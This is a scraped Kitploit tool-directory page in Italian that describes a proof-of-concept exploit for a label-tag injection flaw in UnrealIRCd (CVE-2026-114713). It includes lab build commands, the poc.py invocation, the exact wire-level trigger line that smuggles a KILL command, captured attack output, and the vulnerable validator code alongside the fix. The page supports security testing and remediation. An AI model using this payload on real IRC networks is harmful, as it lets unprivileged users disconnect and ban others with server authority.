Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/fixedbyreboot/cve-2026-114713-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza di Rete
GitHubfixedbyreboot/cve-2026-114713-poc

CVE-2026-114713-POC

POC per CVE-2026-114713 - iniezione di label-tag IRCv3 in UnrealIRCd che eleva un messaggio di un client non privilegiato ad autorità di comando server-to-server su reti con server collegati. Inclusi i controlli per la versione vulnerabile 6.2.7 e quella corretta 6.2.7.1.

Vedi Repository
8 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    707
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    430
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    402
  • 5

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    349
  • 6

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    341

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-114713 - Iniezione di tag label IRCv3 in UnrealIRCd per eseguire comandi con autorità di server

Language CVSS 8.6 High Affected 6.0.0--6.2.7 Status verified 2026-11-14 Advisory GHSA-237f-p9h6-wq4r License MIT

Il modulo labeled-response rimanda il message-tag IRCv3 "label" fornito dal client nelle risposte senza effettuare escaping. Un valore label contenente un newline arriva come l'escape standard dei tag IRCv3 \n, che il server de-escapa in un vero LF e poi riscrive in chiaro. Quando la richiesta etichettata viene instradata verso un altro server (un WHOIS <server> <nick> a due parametri fa esattamente questo), la risposta attraversa il collegamento server-to-server portando quel LF in chiaro. Il server ricevente analizza una riga in due, e la seconda riga - testo scelto dall'attaccante incollato alla risposta - viene eseguita come comando inviato dal suo peer fidato. Su IRC un messaggio proveniente da un server collegato salta i controlli dei privilegi applicati ai client, quindi un utente ordinario può eseguire KILL, GLINE e altri comandi riservati a server/IRCOp sull'intera rete con un solo messaggio del client. Corretto in 6.2.7.1 e nel bundle di hot-patch bundle-20261107; inserito in KEV il 2026-11-13 e sfruttato attivamente.

  • Affected: UnrealIRCd 6.0.0 - 6.2.7. Precondizione: una rete con due o più server collegati; un'installazione con un solo server non esegue la riga iniettata (l'esecuzione di controllo qui sotto lo afferma onestamente). Anche UnrealIRCd 5.x (EOL) è affetto.
  • Fixed: 6.2.7.1, oppure hot-patch bundle-20261107 su 6.0.0 - 6.2.7 (senza riavvio)
  • CVSS 3.1: 8.6 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)
  • CWE-140: neutralizzazione impropria dei delimitatori (l'iniezione CRLF CWE-93 traccia la stessa vulnerabilità nell'advisory di Red Hat)
  • Advisory: UnrealIRCd forums, GHSA-237f-p9h6-wq4r, oss-security
  • KEV: aggiunto il 2026-11-13, scadenza federale per la remediation 2026-11-16

Utilizzo

Avvia il laboratorio (due server vulnerabili collegati su 127.0.0.1:6667/6668, la stessa topologia su 6.2.7.1, più un controllo con singolo server):

./setup/build-lab.sh            # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh             # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf

Attiva il trigger (attaccante e vittima sul leaf, target WHOIS sull'hub):

python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667

--host/--port è il leaf a cui si connettono attaccante e vittima; --hub-host/--hub-port è il server remoto che ospita il target WHOIS; --whois-server è il nome usato nel WHOIS instradato. Controlli: lo stesso input contro la rete corretta (--port 6678 --hub-port 6677) e contro un singolo server (--host 127.0.0.1 --port 6687 --single --whois-server single.example.net). Punta questo strumento solo verso server IRC di tua proprietà.

Output previsto

Esecuzione del trigger contro la rete vulnerabile collegata (cattura grezza: evidence/01-vulnerable-linked-network-trigger.txt). Prima il pre-check - lo stesso KILL inviato direttamente viene rifiutato, dimostrando che l'attaccante non ha diritti di operatore:

--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges

Poi una riga etichettata (gli escape dei tag mostrati come inviati sul filo):

[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'

Il socket della vittima - terminato da un comando attribuito al SERVER remoto:

--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))

[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
    attributed to the remote SERVER - authority no IRC user has.

Il log del server sull'host della vittima identifica l'esecutore come un server (evidence/04-server-log-detection.txt):

leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)

Controllo A - stesso input sulla rete collegata corretta 6.2.7.1 (evidence/02-control-fixed-6.2.7.1-linked-network.txt): il valore dell'etichetta contiene un newline, quindi la correzione rifiuta l'intero tag; i valori numerici WHOIS tornano come semplici righe senza etichetta e la vittima rimane online:

:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).

Controllo B - stesso input su un singolo server vulnerabile, senza collegamenti (evidence/03-control-single-server-precondition.txt): l'etichetta non sottoposta a escape viene solo riscritta nel socket dell'attaccante stesso; nulla viene eseguito:

[=] CONTROL HOLDS (single-server): no server-authority command executed.

Perché funziona

Tre elementi si allineano in src/modules/labeled-response.c:

  1. I valori dei tag vengono de-escaped al ricevimento (message_tag_unescape() in src/modules/message-tags.c mappa gli escape IRCv3 \n \r \s \: a LF/CR/spazio/punto e virgola reali). Il client non invia mai un newline grezzo; il server ne genera uno da due byte stampabili.

  2. In 6.2.7 il validatore dei tag accetta qualsiasi cosa invii un client con cap fino a 64 byte - non c'è alcun controllo sui caratteri del valore:

    int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
    {
            if (BadPtr(value))
                    return 0;
    
            if (IsServer(client))
                    return 1;
            ...
            if (strlen(value) <= 64)
                    return 1;
    
  3. Il modulo formatta poi quel valore memorizzato in righe di risposta con chiamate snprintf grezze - gen_start_batch() costruisce "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" - aggirando message_tag_escape(), che ogni altro percorso in uscita utilizza. Per una risposta instradata a un client remoto con etichetta, lr_packet() scrive questo buffer sul collegamento al server, quindi il LF all'interno dell'etichetta divide il flusso al peer fidato: la prima riga è un innocuo segmento di tag @label=p breve, la seconda riga è qualunque cosa abbia aggiunto l'attaccante, eseguita come comando dal server collegato. Il WHOIS a due parametri è il vettore più pulito perché inoltra al server di destinazione e garantisce una risposta con etichetta di ritorno attraverso il collegamento.

La correzione 6.2.7.1 è esattamente il controllo mancante (primo hunk del diff della release):

   if (strpbrk(value, " ;\\\r\n"))
           return 0;
Scarica lo strumento